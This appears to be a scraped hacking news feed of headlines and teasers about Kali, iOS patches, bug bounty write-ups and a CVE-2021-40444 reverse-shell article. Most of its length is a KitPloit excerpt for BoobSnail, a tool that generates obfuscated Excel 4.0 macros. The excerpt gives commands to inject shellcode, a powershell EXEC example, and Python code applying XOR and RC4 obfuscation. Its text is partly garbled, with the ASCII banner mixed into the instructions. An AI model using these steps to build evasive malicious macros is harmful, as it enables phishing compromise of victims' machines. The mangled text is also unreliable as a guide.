hacking: security in practice
Kali Linux 2021.3 Released

submitted by /u/wise_quote
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O que é um vazamento de dados, e como mitigar os danos?


O que você precisa saber, caso seus dados sejam vazados na internet

Continue reading on Medium »

Hacking on Medium
Update Now: Apple Patches iOS, Mac Attack That Uses Malicious PDFs to Hack Devices


The bug, dubbed ForcedEntry, could lead to remote code execution. Apple also patches an iOS flaw that leverages maliciously crafted web…

Continue reading on PC Magazine »

Hacking on Medium
New Neovim Plugins You Should Try


Neovim plugins to try out for better development workflow.

Continue reading on Medium »

Hacking on Medium
CVE-2021–40444 — Metasploit Reverse Shell using a malicious .dll payload

Probably you already know about the CVE-2021–40444 (Microsoft Office Word Remote Code Execution). Attackers abused it to exploit and…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
OverTheWire Bandit walkthrough Lv 0

Hi people :) , I’m Anish.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Why is Bug bounty trending?
https://medium.com/@shivyanshi.shukla/why-is-bug-bounty-trending-af0d2c0780bf?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Bug bounty, a big name among cybersecurity analysts and tech giants, has gained tremendous fame over time. This article will help you know…Continue reading on Medium » (https://medium.com/@shivyanshi.shukla/why-is-bug-bounty-trending-af0d2c0780bf?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

This is why you shouldn’t trust your Federated Identity Provider
https://medium.com/@soufianehabti/this-is-why-you-shouldnt-trust-your-federated-identity-provider-62160f50d8b2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Last year, while taking my daily dose of HackerOne’s Hacktivity, I stumbled upon this amazing writeup of cache-money where he demonstrated…Continue reading on Medium » (https://medium.com/@soufianehabti/this-is-why-you-shouldnt-trust-your-federated-identity-provider-62160f50d8b2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

10 golden minutes for taking over a Chess.com account
https://infosecwriteups.com/10-golden-minutes-for-taking-over-a-chess-com-account-56e73f7c5f0d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hi folks, this is the second write-up about finding bugs on Chess.com. You can find the first one here.Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/10-golden-minutes-for-taking-over-a-chess-com-account-56e73f7c5f0d?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/556C5k944eNtlDdigzfsxFXewhuzCSuG0oghGLcgAFg.jpg submitted by /u/ddifuriors
[link] [comments]

BoobSnail - Allows Generating Excel 4.0 XLM Macro
http://www.kitploit.com/2021/09/boobsnail-allows-generating-excel-40.html

___________________________
@hacking_Attack
@Hacking_Video

Building and Running
Tested on: Python 3.8.7rc1 | ) \_\ \/ \ | \/ __ \| | |__ |___ /\____/ \____/|___ /_______ /___| (____ /__|____/ \/ \/ \/ \/ \/ Author: @_mzer0 @stm_cyber (...) ">pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( | ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)

Generators usage
-h ">python boobsnail.py -h
To display available generators type: python boobsnail.py

Examples
Generate obfuscated macro that injects x64 or x86 shellcode: --inputx64 --out boobsnail.csv ">python boobsnail.py Excel4NtDonutGenerator --inputx86 --inputx64 --out boobsnail.csv
Generate obfuscated macro that runs calc.exe: python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv

Saving output in Excel
Dump output to CSV file. Copy content of CSV file. Run Excel and create a new worksheet. Add new Excel 4.0 Macro (right-click on Sheet1 -> Insert -> MS Excel 4.0 Macro). Paste the content in cell A1 or R1C1. Click Data -> Text to Columns. Click Next -> Set Semicolon as separator and click Finish.
Library usage
BoobSnail shares the excel4lib library that allows creating your own Excel4 macro generator. excel4lib contains few classes that could be used during writing generator: excel4lib.macro.Excel4Macro - allows to defining Excel4 formulas, values variables; excel4lib.macro.obfuscator.Excel4Obfuscator - allows to obfuscate created instructions in Excel4Macro; excel4lib.lang.Excel4Translator - allows translating formulas to another language. The main idea of this library is to represent Excel4 formulas, variables, formulas arguments, and values as python objects. Thanks to that you are able to change instructions attributes such as formulas or variables names, values, addresses, etc. in an easy way. For example, let's create a simple macro that runs calc.exe from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv()) Result: cmd="calc.exe";
=EXEC(cmd);
Now let's say that you want to obfuscate your macro. To do this you just need to import obfuscator (https://www.kitploit.com/search/label/Obfuscator) and pass it to the Excel4Macro object: from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv()) For now excel4lib shares two obfuscation classes: excel4lib.macro.obfuscator.Excel4Obfuscator uses Excel 4.0 functions such as BITXOR, SUM, etc to obfuscate your macro; excel4lib.macro.obfuscator.Excel4Rc4Obfuscator uses RC4 encryption (https://www.kitploit.com/search/label/Encryption) to obfusacte formulas. As you can see you can write your own obfuscator class and use it in Excel4Macro. Sometimes you will need to translate your macro to another language for example your native language, in my case it's Polish. With excel4lib it's pretty easy. You just need to import Excel4Translator class and call set_language from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object

___________________________
@hacking_Attack
@Hacking_Video